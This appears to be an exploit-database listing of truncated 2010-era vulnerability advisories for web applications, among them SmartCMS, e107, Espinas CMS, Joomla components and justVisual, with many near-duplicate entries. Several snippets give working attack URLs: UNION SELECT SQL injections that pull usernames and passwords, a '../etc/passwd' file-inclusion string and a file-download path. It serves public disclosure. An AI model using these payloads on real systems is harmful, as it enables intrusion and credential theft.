SmartCMS v.2 SQL Injection Vulnerability

No description provided by source. Vendor's Description of Software: http://www.smartwebsites.com.cy/index.php?pageid=13&lang=en Dork: n/a Application Info: Name: SmartCMS Versions: V.2 Vulnerability Info: Type: SQL injection Vulnerability Risk: medium Fix: N/A Time Table: 22/04/2010 - Vendor...

SmartCMS 2 - SQL Injection

============ Ariko-Security - Advisory 1/5/2010 ============= SQL injection vulnerability in SmartCMS v.2 Vendor's Description of Software: http://www.smartwebsites.com.cy/index.php?pageid=13=en Dork: n/a Application Info: Name: SmartCMS Versions: V.2 Vulnerability Info: Type: SQL injection...

XSS in eliteCMS

Vulnerability ID: HTB22354 Reference: http://www.htbridge.ch/advisory/xssinelitecms.html Product: eliteCMS Vendor: Elite Graphix Vulnerable Version: 1.01 and Probably Prior Versions Vendor Notification: 18 April 2010 Vulnerability Type: XSS Cross Site Scripting Status: Not Fixed, Vendor Alerted,...

Microsoft SharePoint Server 2007 XSS Vulnerability

Exploit for windows platform in category web applications ================================================== Microsoft SharePoint Server 2007 XSS Vulnerability ================================================== Product: Microsoft SharePoint Server 2007 Vendor: Microsoft Corporation Vulnerable...

Vbulletin - Two-Step External Link XSS

Vendor: vBulletin Affected versions: 3.7.x - 3.8.x Mod: Two-Step External Link URL: http://www.vbulletin.org/forum/showthread.php?t=217708 Vulnerability type: XSS Risk rating: Medium Exploit http://FORUM/externalredirect.php?url=XSS Bug File: externalredirect.php line 35 Code: $url =...

e107 version 0.7.19 XSRF vulnerability

Exploit for php platform in category web applications ====================================== e107 version 0.7.19 XSRF vulnerability ====================================== Product: e107 Website System Vendor: e107 Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification: 05 April...

e107 CMS 0.7.19 - Cross-Site Request Forgery

Vulnerability ID: HTB22344 Reference: http://www.htbridge.ch/advisory/xsrfcsrfine107.html Product: e107 Website System Vendor: e107 Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification: 05 April 2010 Vulnerability Type: CSRF Cross-Site Request Forgery Status: Not Fixed, Vend...

e107 0.7.19 Cross Site Request Forgery

Vulnerability ID: HTB22344 Reference: http://www.htbridge.ch/advisory/xsrfcsrfine107.html Product: e107 Website System Vendor: e107 Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification: 05 April 2010 Vulnerability Type: CSRF Cross-Site Request Forgery Status: Not Fixed, Vend...

Vana CMS Remote File Download

Securitylab.ir Application Info: Name: Vana CMS Vendor: http://www.vanasoft.com Vulnerability Info: Type: Remote File Download Risk: Medium 2009-10-23 - Found Vulnerability 2010-04-09 - Vendor notified 2010-04-11 - Public disclosure Vulnerability: http://site.com/download.php?filename=File.php...

Espinas CMS SQL Injection Vulnerability

Exploit for asp platform in category web applications ======================================= Espinas CMS SQL Injection Vulnerability ======================================= Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork:...

Espinas CMS - SQL Injection

Espinas CMS - SQL Injection Securitylab.ir Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork: "Powered by Espinas IT" Vulnerability:...

Espinas CMS SQL Injection

Securitylab.ir Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork: "Powered by Espinas IT" Vulnerability: http://site.ir/news.asp?id=-1+union+select+1,concatusername,0x3a,0x3a,password,3,4,5+from+sinabedusers Discoverd By: Pouya...

Espinas CMS - SQL Injection

Securitylab.ir Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork: "Powered by Espinas IT" Vulnerability: http://site.ir/news.asp?id=-1+union+select+1,concatusername,0x3a,0x3a,password,3,4,5+from+sinabedusers...

Joomla Component com_xmap Sql Injection Vulnerability

Securitylab.ir Application Info: Name: Joomla Component comxmap Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comxmap&sitemap=2&Itemid=18-1 UNION SELECT 1,2,3,version,5,6,7,8-- Discoverd By: Pouya Daneshmand Website: http://Pouya.securitylab....

Joomla Component com_weblinks Sql Injection Vulnerability

Securitylab.ir Application Info: Name: Joomla Component comweblinks Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comweblinks&task=view&catid=8&id=-1 UNION SELECT 1,2,3,4,5 Discoverd By: Pouya Daneshmand Website: http://Pouya.securitylab.ir...

Joomla Component com_xmap Sql Injection Vulnerability

No description provided by source. Securitylab.ir Application Info: Name: Joomla Component comxmap Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comxmap&sitemap=2&Itemid=18-1 UNION SELECT 1,2,3,version,5,6,7,8-- Discoverd By: Pouya Daneshmand...

Joomla Weblinks SQL Injection

Securitylab.ir Application Info: Name: Joomla Component comweblinks Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comweblinks&task=view&catid=8&id=-1 UNION SELECT 1,2,3,4,5 Discoverd By: Pouya Daneshmand Website: http://Pouya.securitylab.ir...

justVisual 2.0 (index.php) <= LFI Vulnerability

Exploit for php platform in category web applications =============================================== justVisual 2.0 index.php = LFI Vulnerability =============================================== +Title: justVisual 2.0 index.php Local File Vulnerability +Version: 2.0 +License:...

justVisual 2.0 - 'index.php' Local File Inclusion

justVisual 2.0 index.php = LFI Vulnerability +Title: justVisual 2.0 index.php Local File Vulnerability +Version: 2.0 +License: http://www.gnu.org/copyleft/gpl.html +Download: http://fh54.de/justVisual/packages/justVisual2.zip +Risk: Medium +Local: Yes -Remote: No !Author: eidelweiss !Contact:...

Free Real Estate Contact Form 1.09 Local File Inclusion

Securitylab.ir Application Info: Name: Free Real Estate Contact Form Version: 1.09 Vendor: http://www.phpkobo.com/realestatecontact.php Vulnerability Info: Type: Local File Inclusion Risk: Medium Vulnerability: http://site.com/codelib/sys/common.inc.php?LANGCODE=../../../../../../../etc/passwd%00...